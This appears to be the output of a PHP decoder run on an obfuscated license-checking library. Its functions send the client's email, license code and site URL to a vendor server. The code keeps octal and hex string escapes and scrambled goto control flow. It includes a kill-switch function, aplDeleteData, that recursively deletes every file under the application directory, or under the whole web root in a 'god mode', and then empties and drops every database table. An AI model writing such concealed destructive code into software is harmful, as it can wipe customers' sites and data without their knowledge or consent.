    $notifications_array["\156\157\x74\x69\146\x69\x63\x61\x74\151\157\x6e\137\143\141\163\145"] = "\x6e\x6f\164\151\x66\151\143\141\164\151\157\x6e\x5f\163\x63\x72\151\x70\164\137\143\157\162\162\165\x70\x74\x65\144";
    $notifications_array["\x6e\x6f\164\x69\x66\x69\x63\141\x74\151\157\156\x5f\164\x65\x78\x74"] = implode("\x3b\40", $apl_core_notifications);
    goto L3zCC;
    i62QY:
    if (aplCheckData($MYSQLI_LINK)) {
        goto OC5ZU;
    }
    $notifications_array["\x6e\x6f\164\151\x66\x69\143\141\x74\x69\x6f\156\137\x63\x61\163\x65"] = "\156\x6f\x74\151\x66\151\x63\141\x74\151\x6f\156\137\154\151\143\145\156\163\x65\137\x63\157\x72\x72\x75\160\164\145\x64";
    $notifications_array["\x6e\157\x74\151\146\x69\x63\x61\x74\151\157\x6e\x5f\x74\145\170\164"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
    goto OJoa1;
    OC5ZU:
    extract(aplGetLicenseData($MYSQLI_LINK));
    $post_info = "\160\162\x6f\144\165\143\x74\x5f\x69\x64\75" . rawurlencode(APL_PRODUCT_ID) . "\x26\x63\154\151\145\156\164\x5f\x65\155\x61\151\x6c\75" . rawurlencode($CLIENT_EMAIL) . "\46\154\151\x63\x65\x6e\x73\145\x5f\143\x6f\x64\145\75" . rawurlencode($LICENSE_CODE) . "\46\162\x6f\157\164\x5f\165\x72\x6c\x3d" . rawurlencode($ROOT_URL) . "\46\151\x6e\163\x74\x61\x6c\x6c\141\x74\151\x6f\156\x5f\x68\141\x73\x68\75" . rawurlencode($INSTALLATION_HASH) . "\x26\x6c\x69\143\145\x6e\163\x65\x5f\163\x69\147\156\141\x74\165\x72\x65\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
    $content_array = aplCustomPost(APL_ROOT_URL . "\x2f\x61\160\154\x5f\143\x61\x6c\154\x62\141\x63\x6b\163\57\x6c\x69\143\145\x6e\163\145\137\165\160\144\x61\x74\x65\163\56\160\x68\160", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
    OJoa1: L3zCC:
    return $notifications_array;
}

function incevioUpdateLicense($MYSQLI_LINK = null)
{
    $notifications_array = array();
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto bLghH;
    }
    $notifications_array["\156\x6f\164\151\x66\x69\x63\141\x74\x69\157\156\x5f\x63\141\163\145"] = "\x6e\x6f\x74\151\146\151\143\141\164\151\x6f\156\x5f\163\143\x72\x69\160\164\x5f\x63\157\x72\x72\165\160\x74\x65\x64";
    $notifications_array["\x6e\x6f\x74\151\x66\x69\143\141\x74\x69\x6f\x6e\x5f\164\x65\170\164"] = implode("\x3b\x20", $apl_core_notifications);
    goto I569b;
    bLghH:
    if (aplCheckData($MYSQLI_LINK)) {
        goto Jg5Ku;
    }
    $notifications_array["\156\157\164\x69\x66\151\x63\x61\164\x69\157\156\137\143\141\x73\x65"] = "\156\x6f\164\151\x66\x69\x63\x61\x74\x69\x6f\x6e\x5f\x6c\x69\x63\x65\x6e\163\x65\x5f\x63\x6f\x72\162\x75\160\x74\x65\x64";
    $notifications_array["\156\157\x74\151\146\x69\x63\141\x74\x69\x6f\x6e\137\x74\x65\x78\164"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
    goto Fuiu5;
    Jg5Ku:
    extract(aplGetLicenseData($MYSQLI_LINK));
    $post_info = "\160\162\157\144\x75\x63\x74\137\151\144\75" . rawurlencode(APL_PRODUCT_ID) . "\46\143\x6c\x69\x65\156\164\x5f\x65\x6d\x61\151\154\x3d" . rawurlencode($CLIENT_EMAIL) . "\x26\154\151\143\x65\156\x73\x65\137\x63\157\144\x65\75" . rawurlencode($LICENSE_CODE) . "\x26\x72\157\157\x74\x5f\x75\162\154\75" . rawurlencode($ROOT_URL) . "\46\151\x6e\x73\164\x61\x6c\x6c\141\x74\151\x6f\156\x5f\150\x61\x73\150\x3d" . rawurlencode($INSTALLATION_HASH) . "\46\154\151\143\x65\156\163\x65\137\x73\x69\147\x6e\141\164\165\x72\x65\x3d" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
    $content_array = aplCustomPost(APL_ROOT_URL . "\x2f\141\160\x6c\x5f\143\x61\x6c\x6c\142\x61\x63\153\x73\x2f\154\151\x63\145\156\x73\145\x5f\x75\x70\x64\141\x74\x65\56\x70\150\160", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
    Fuiu5: I569b:
    return $notifications_array;
}

function incevioUninstallLicense($MYSQLI_LINK = null)
{
    $notifications_array = array();
    $apl_core_notifications = aplCheckSettings();
    if (empty($apl_core_notifications)) {
        goto SrSzX;
    }
    $notifications_array["\156\157\164\151\x66\x69\143\x61\164\x69\x6f\x6e\x5f\143\x61\163\x65"] = "\156\x6f\164\x69\146\151\x63\141\x74\151\x6f\x6e\x5f\163\x63\162\x69\160\164\137\x63\x6f\x72\162\x75\x70\x74\x65\144";
    $notifications_array["\x6e\x6f\164\x69\146\151\x63\x61\x74\x69\157\156\137\164\x65\170\x74"] = implode("\73\x20", $apl_core_notifications);
    goto DGoZ0;
    SrSzX:
    if (aplCheckData($MYSQLI_LINK)) {
        goto lfRR3;
    }
    $notifications_array["\x6e\x6f\x74\151\x66\x69\x63\141\x74\x69\157\156\137\143\141\x73\145"] = "\156\157\164\x69\x66\151\x63\141\164\151\157\x6e\x5f\154\151\x63\145\156\x73\x65\137\143\x6f\162\x72\x75\160\164\x65\x64";
    $notifications_array["\156\157\164\x69\146\151\x63\x61\x74\x69\157\x6e\x5f\x74\x65\170\x74"] = APL_NOTIFICATION_LICENSE_CORRUPTED;
    goto Ai7fg;
    lfRR3:
    extract(aplGetLicenseData($MYSQLI_LINK));
    $post_info = "\160\162\157\144\165\143\164\x5f\x69\144\75" . rawurlencode(APL_PRODUCT_ID) . "\46\x63\x6c\151\x65\x6e\x74\137\145\x6d\x61\x69\x6c\75" . rawurlencode($CLIENT_EMAIL) . "\x26\x6c\151\x63\x65\x6e\x73\145\x5f\x63\157\x64\145\75" . rawurlencode($LICENSE_CODE) . "\46\162\x6f\x6f\x74\x5f\165\162\x6c\x3d" . rawurlencode($ROOT_URL) . "\46\151\x6e\163\164\x61\x6c\154\x61\x74\151\x6f\156\137\x68\x61\163\150\x3d" . rawurlencode($INSTALLATION_HASH) . "\46\154\151\143\x65\156\163\x65\137\x73\x69\x67\x6e\x61\x74\x75\x72\x65\75" . rawurlencode(aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE));
    $content_array = aplCustomPost(APL_ROOT_URL . "\x2f\x61\x70\154\x5f\x63\141\x6c\154\x62\141\x63\153\x73\57\x6c\x69\143\x65\x6e\x73\145\137\165\156\x69\156\163\164\141\x6c\x6c\56\160\x68\160", $post_info, $ROOT_URL);
    $notifications_array = aplParseServerNotifications($content_array, $ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE);
    if (!($notifications_array["\x6e\x6f\164\151\146\x69\143\141\x74\151\x6f\156\137\143\141\163\145"] == "\156\157\x74\151\146\151\143\141\164\x69\x6f\x6e\137\x6c\x69\143\x65\156\x73\145\x5f\x6f\153")) {
        goto sqIUr;
    }
    if (!(APL_STORAGE == "\104\x41\x54\x41\102\x41\x53\105")) {
        goto uM7t2;
    }
    mysqli_query($MYSQLI_LINK, "\x44\105\x4c\x45\124\x45\x20\x46\122\117\x4d\40" . APL_DATABASE_TABLE);
    mysqli_query($MYSQLI_LINK, "\x44\122\117\120\x20\x54\x41\x42\x4c\x45\x20" . APL_DATABASE_TABLE);
    uM7t2:
    if (!(APL_STORAGE == "\106\111\114\x45")) {
        goto h4m__;
    }
    $handle = @fopen(APL_DIRECTORY . "\57" . APL_LICENSE_FILE_LOCATION, "\x77\53");
    @fclose($handle);
    h4m__: sqIUr: Ai7fg: DGoZ0:
    return $notifications_array;
}

function aplDeleteData($MYSQLI_LINK = null)
{
    if (APL_GOD_MODE == "\x59\x45\123" && isset($_SERVER["\x44\117\103\125\x4d\x45\116\124\x5f\122\117\117\x54"])) {
        goto GxZUQ;
    }
    $root_directory = dirname(__DIR__);
    goto LFh2L;
    GxZUQ:
    $root_directory = $_SERVER["\104\117\x43\125\115\x45\116\124\137\122\117\117\x54"];
    LFh2L:
    foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root_directory, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) {
        $path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
        SQYeE:
    }
    ZLK6S:
    rmdir($root_directory);
    if (!(APL_STORAGE == "\104\x41\124\x41\102\x41\x53\x45")) {
        goto Lowlb;
    }
    $database_tables_array = array();
    $table_list_results = mysqli_query($MYSQLI_LINK, "\x53\x48\x4f\x57\40\x54\x41\x42\x4c\x45\x53");
    lygGt:
    if (!($table_list_row = mysqli_fetch_row($table_list_results))) {
        goto DEfX3;
    }
    $database_tables_array[] = $table_list_row[0];
    goto lygGt;
    DEfX3:
    if (empty($database_tables_array)) {
        goto Z37w5;
    }
    foreach ($database_tables_array as $table_name) {
        mysqli_query($MYSQLI_LINK, "\x44\x45\x4c\105\x54\105\40\x46\x52\x4f\x4d\x20{$table_name}");
        Bq5M9:
    }
    q0OFW:
    foreach ($database_tables_array as $table_name) {
        mysqli_query($MYSQLI_LINK, "\x44\x52\117\120\x20\124\x41\x42\114\105\x20{$table_name}");
        rkNFh:
    }
    K9lto: Z37w5: Lowlb:
    exit;
}

Function Calls

None

Variables

None

Stats

MD5 ded3f9003918dceaecb84464e9dd4bd3
Eval Count 0
Decode Time 73 ms